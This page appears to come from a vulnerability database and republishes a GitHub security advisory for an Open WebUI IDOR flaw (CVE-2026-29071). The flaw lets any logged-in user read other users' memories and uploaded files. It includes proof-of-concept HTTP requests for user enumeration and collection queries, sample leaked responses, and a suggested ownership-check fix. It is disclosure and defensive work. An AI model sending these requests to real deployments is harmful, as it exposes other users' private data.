Browse / AI Framework and Platform Flaws / CVE-2026-29071
Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories
- Class
- AI Framework and Platform Flaws (filed by a model that read the source)
- Technique
- Authentication and access control
- Also involves
- Sensitive Data Disclosure
- Affected
- open-webui (PyPI)
- CVSS
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
- EPSS
- 0.3% chance of exploitation in 30 days
How it works, in short
Any logged-in user can query other users' collection names, including memory collections, through the retrieval endpoint because ownership is never checked. (Our summary, written by a model. The source text is below.)
Details
Summary
Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection
Details
Vulnerability 1: Missing authorization in collection querying
In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:
async def query_collection_handler(
request: Request,
form_data: QueryCollectionsForm,
user=Depends(get_verified_user), # Only checks authentication, not authorization
):
Collection names follow predictable patterns:
- User files: file-{FILE_UUID}
- User memories: user-memory-{USER_UUID} (requires Memory experimental feature)
PoC
Environment: Open WebUI v0.8.3, default configuration. Setup: 1. Register two users: admin (first user) and attacker (second user). 2. As admin, upload a PDF document through chat. 3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.
Exploitation — Step 1: Enumerate all users
GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Response reveals all users including admin's UUID, email, and role:
{
"users": [
{
"id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
"name": "user",
"email": "user@test.com",
"role": "user"
},
{
"id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
"name": "admin",
"email": "admin@test.com",
"role": "admin"
}
]
}
<img width="1340" height="731" alt="1poc - users" src="https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9" />
Exploitation — Step 2: Read admin's memories
Using the admin UUID obtained in Step 1, query their private memory collection:
POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json
{
"collection_names": ["user-memory-<admin_UUID_from_step_1>"],
"query": "test"
}
Response returns admin's private memories:
{
"documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}
<img width="1285" height="606" alt="2poc - memory" src="https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082" />
Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.
Exploitation — Step 3: Read admin's private file (Vulnerability 1)
File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:
POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json
{
"collection_names": ["file-<file_UUID>"],
"query": "test"
}
Response returns admin's private document content and full metadata:
{
"documents": [["Test PDF \nabc \nbcd"]],
"metadatas": [[{
"name": "Test PDF.pdf",
"author": "Mariusz Maik",
"created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
"file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
}]]
}
<img width="1413" height="908" alt="image" src="https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596" />
Impact
- Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins. - User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search. - Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation. - No admin privileges required: A regular user account is sufficient to exploit all of the above.
Suggested Fix
1. Add ownership validation in /api/v1/retrieval/query/collection:
async def query_collection_handler(
request: Request,
form_data: QueryCollectionsForm,
user=Depends(get_verified_user),
):
for collection_name in form_data.collection_names:
if collection_name.startswith("user-memory-"):
owner_id = collection_name.replace("user-memory-", "")
if owner_id != user.id and user.role != "admin":
raise HTTPException(status_code=403, detail="Access denied")
elif collection_name.startswith("file-"):
file_id = collection_name.replace("file-", "")
# user_has_access_to_file — placeholder; verify file ownership
# e.g. check if created_by matches user.id
if not user_has_access_to_file(user.id, file_id):
raise HTTPException(status_code=403, detail="Access denied")
2. Restrict /api/v1/users/search to admin-only or limit the fields returned to non-privileged users.
Disclosure
AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.
References
- https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw
- https://nvd.nist.gov/vuln/detail/CVE-2026-29071
- https://github.com/open-webui/open-webui
Source: GitHub Advisory Database, used under CC BY 4.0.